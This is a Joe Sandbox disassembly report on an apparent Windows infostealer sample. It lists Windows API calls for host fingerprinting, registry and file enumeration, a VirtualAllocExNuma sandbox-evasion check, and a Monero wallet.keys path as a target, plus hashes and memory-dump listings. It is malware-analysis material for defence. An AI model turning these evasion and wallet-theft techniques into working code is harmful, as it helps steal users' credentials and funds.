Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 776f853b27803e372aef6aff5dce67e8116b7cc25289123d5b20cb255c88a75a
Instruction ID: 9f37d48334b64a4fa34de2ce712c17123633721bbb2a407c1087499da83d4cfe
Opcode Fuzzy Hash: 776f853b27803e372aef6aff5dce67e8116b7cc25289123d5b20cb255c88a75a
Instruction Fuzzy Hash: 2911DD30910548A6DB18FB68DD96AED7378FF50300F408165F81A965D2EF39AB05C793

Function 00884F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

lstrcat.KERNEL32(?,00000000), ref: 00884F7A
lstrcat.KERNEL32(?,00891070), ref: 00884F97
lstrcat.KERNEL32(?,010F8A18), ref: 00884FAB
lstrcat.KERNEL32(?,00891074), ref: 00884FBD

Part of subcall function 00884910: wsprintfA.USER32 ref: 0088492C
Part of subcall function 00884910: FindFirstFileA.KERNEL32(?,?), ref: 00884943

Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,00890FDC), ref: 00884971
Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,00890FE0), ref: 00884987
Part of subcall function 00884910: FindNextFileA.KERNEL32(000000FF,?), ref: 00884B7D
Part of subcall function 00884910: FindClose.KERNEL32(000000FF), ref: 00884B92

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: a2211d4e92ead6b41e25eda9631f276f34255334113f692a4ffe1f4e4e0265a7
Instruction ID: 416a03eaf08dba007089e310b8e4adb585d1aa825ef77594e47cf86efc32a53e
Opcode Fuzzy Hash: a2211d4e92ead6b41e25eda9631f276f34255334113f692a4ffe1f4e4e0265a7
Instruction Fuzzy Hash: 0A21B876900204ABCB54F7E4DC46EE9337CF764300F404694B659D2592EE759BC98B93

Function 00880740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010F8898), ref: 0088079A
StrCmpCA.SHLWAPI(00000000,010F88B8), ref: 00880866
StrCmpCA.SHLWAPI(00000000,010F8A48), ref: 0088099D

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a62b3c669f6ef6a27cd44635f3b3569087cc0897882a370ac3c2a4a5d027d361
Instruction ID: e7302aec98cdf79c67b80087a823839694e00259bbf519fc84a51ca6bd36d930
Opcode Fuzzy Hash: a62b3c669f6ef6a27cd44635f3b3569087cc0897882a370ac3c2a4a5d027d361
Instruction Fuzzy Hash: C4916675A101089FDB2CFF68D995AED7775FF94300F408519E809DB292DB34AA06CB93

Function 00880765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010F8898), ref: 0088079A
StrCmpCA.SHLWAPI(00000000,010F88B8), ref: 00880866
StrCmpCA.SHLWAPI(00000000,010F8A48), ref: 0088099D

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 13deb6c8e06b18d022f33a253f9affa4b81ca44f51394a9a23e88adbc960929e
Instruction ID: d7fb5037d493ccd07d1986c72c3945519f2c70ec7d6a18b5de4536affa0974a3
Opcode Fuzzy Hash: 13deb6c8e06b18d022f33a253f9affa4b81ca44f51394a9a23e88adbc960929e
Instruction Fuzzy Hash: 59816775A101089FDB1CFF68C995AEDB7B5FF94300F508519E409DB291DB34AA06CB93

Function 6CA93060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA93095

Part of subcall function 6CA935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1F688,00001000), ref: 6CA935D5
Part of subcall function 6CA935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA935E0
Part of subcall function 6CA935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA935FD
Part of subcall function 6CA935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA9363F
Part of subcall function 6CA935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA9369F
Part of subcall function 6CA935A0: __aulldiv.LIBCMT ref: 6CA936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9309F

Part of subcall function 6CAB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B85
Part of subcall function 6CAB5B50: EnterCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B90
Part of subcall function 6CAB5B50: LeaveCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5BD8
Part of subcall function 6CAB5B50: GetTickCount64.KERNEL32 ref: 6CAB5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA930BE

Part of subcall function 6CA930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA93127
Part of subcall function 6CA930F0: __aulldiv.LIBCMT ref: 6CA93140

Part of subcall function 6CACAB2A: __onexit.LIBCMT ref: 6CACAB30

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ea65c557d010e5509bb92e3ccf45042c963ad3adac5c012282d9d8926a14ce8d
Instruction ID: 1062404f30af020ed4a770c8a467be960cc06c95e03b1ed4167d6fdb9719fe98
Opcode Fuzzy Hash: ea65c557d010e5509bb92e3ccf45042c963ad3adac5c012282d9d8926a14ce8d
Instruction Fuzzy Hash: FBF0F422E2074897CA10DF7499431EAB3B4AF6B214F101319E89C63E21FB3062DCC382

Function 00889470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00889484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 008894A5
CloseHandle.KERNEL32(00000000), ref: 008894AF

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 3aa9bf873a6ccbbf4f92ea20308b80d0de2e36dcd9e2018cb7b0504ce0a2332e
Instruction ID: a6fa476ae7c74c5ac4b4a60aa7e22ba77d4df94e6a5a22f34f3e0fcb74183598
Opcode Fuzzy Hash: 3aa9bf873a6ccbbf4f92ea20308b80d0de2e36dcd9e2018cb7b0504ce0a2332e
Instruction Fuzzy Hash: 79F03A7490020CABDB04EFE4DC4AFE97778EB08700F004598BA0997290D6B4AA86CB91

Function 00871110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0087112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00871132
ExitProcess.KERNEL32 ref: 00871143

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: e90569f6889517c00f0735e35ab0e933a1904d9bd484107040bad44753a07e20
Instruction ID: 6c422c0fc41b33f7fcb591f20b717a92a3729dc3b7ecafa5ac52d132f853d578
Opcode Fuzzy Hash: e90569f6889517c00f0735e35ab0e933a1904d9bd484107040bad44753a07e20
Instruction Fuzzy Hash: 78E08670945348FBEB10ABE4DC0EB0876B8FB04B01F104144F708BA5D1CAB56641969A

Function 00881A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 00887500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00887542
Part of subcall function 00887500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0088757F
Part of subcall function 00887500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887603
Part of subcall function 00887500: RtlAllocateHeap.NTDLL(00000000), ref: 0088760A

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 00887690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008876A4
Part of subcall function 00887690: RtlAllocateHeap.NTDLL(00000000), ref: 008876AB

Part of subcall function 008877C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0088DBC0,000000FF,?,00881C99,00000000,?,010FD578,00000000,?), ref: 008877F2
Part of subcall function 008877C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0088DBC0,000000FF,?,00881C99,00000000,?,010FD578,00000000,?), ref: 008877F9

Part of subcall function 00887850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008711B7), ref: 00887880
Part of subcall function 00887850: RtlAllocateHeap.NTDLL(00000000), ref: 00887887
Part of subcall function 00887850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0088789F

Part of subcall function 008878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887910
Part of subcall function 008878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00887917
Part of subcall function 008878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0088792F

Part of subcall function 00887980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00890E00,00000000,?), ref: 008879B0
Part of subcall function 00887980: RtlAllocateHeap.NTDLL(00000000), ref: 008879B7
Part of subcall function 00887980: GetLocalTime.KERNEL32(?,?,?,?,?,00890E00,00000000,?), ref: 008879C4
Part of subcall function 00887980: wsprintfA.USER32 ref: 008879F3

Part of subcall function 00887A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,010FE1E0,00000000,?,00890E10,00000000,?,00000000,00000000), ref: 00887A63
Part of subcall function 00887A30: RtlAllocateHeap.NTDLL(00000000), ref: 00887A6A
Part of subcall function 00887A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,010FE1E0,00000000,?,00890E10,00000000,?,00000000,00000000,?), ref: 00887A7D

Part of subcall function 00887B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,010FE1E0,00000000,?,00890E10,00000000,?,00000000,00000000), ref: 00887B35

Part of subcall function 00887B90: GetKeyboardLayoutList.USER32(00000000,00000000,008905AF), ref: 00887BE1
Part of subcall function 00887B90: LocalAlloc.KERNEL32(00000040,?), ref: 00887BF9
Part of subcall function 00887B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00887C0D
Part of subcall function 00887B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00887C62
Part of subcall function 00887B90: LocalFree.KERNEL32(00000000), ref: 00887D22

Part of subcall function 00887D80: GetSystemPowerStatus.KERNEL32(?), ref: 00887DAD

GetCurrentProcessId.KERNEL32(00000000,?,010FD4B8,00000000,?,00890E24,00000000,?,00000000,00000000,?,010FE228,00000000,?,00890E20,00000000), ref: 0088207E

Part of subcall function 00889470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00889484
Part of subcall function 00889470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 008894A5
Part of subcall function 00889470: CloseHandle.KERNEL32(00000000), ref: 008894AF

Part of subcall function 00887E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887E37
Part of subcall function 00887E00: RtlAllocateHeap.NTDLL(00000000), ref: 00887E3E
Part of subcall function 00887E00: RegOpenKeyExA.KERNEL32(80000002,010EBCE8,00000000,00020119,?), ref: 00887E5E
Part of subcall function 00887E00: RegQueryValueExA.KERNEL32(?,010FD518,00000000,00000000,000000FF,000000FF), ref: 00887E7F
Part of subcall function 00887E00: RegCloseKey.ADVAPI32(?), ref: 00887E92

Part of subcall function 00887F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00887FC9
Part of subcall function 00887F60: GetLastError.KERNEL32 ref: 00887FD8

Part of subcall function 00887ED0: GetSystemInfo.KERNEL32(00890E2C), ref: 00887F00
Part of subcall function 00887ED0: wsprintfA.USER32 ref: 00887F16

Part of subcall function 00888100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,010FE390,00000000,?,00890E2C,00000000,?,00000000), ref: 00888130
Part of subcall function 00888100: RtlAllocateHeap.NTDLL(00000000), ref: 00888137
Part of subcall function 00888100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00888158
Part of subcall function 00888100: __aulldiv.LIBCMT ref: 00888172
Part of subcall function 00888100: __aulldiv.LIBCMT ref: 00888180
Part of subcall function 00888100: wsprintfA.USER32 ref: 008881AC

Part of subcall function 008887C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00890E28,00000000,?), ref: 0088882F
Part of subcall function 008887C0: RtlAllocateHeap.NTDLL(00000000), ref: 00888836
Part of subcall function 008887C0: wsprintfA.USER32 ref: 00888850

Part of subcall function 00888320: RegOpenKeyExA.KERNEL32(00000000,010FAFA0,00000000,00020019,00000000,008905B6), ref: 008883A4

Part of subcall function 00888320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00888426
Part of subcall function 00888320: wsprintfA.USER32 ref: 00888459
Part of subcall function 00888320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0088847B
Part of subcall function 00888320: RegCloseKey.ADVAPI32(00000000), ref: 0088848C
Part of subcall function 00888320: RegCloseKey.ADVAPI32(00000000), ref: 00888499

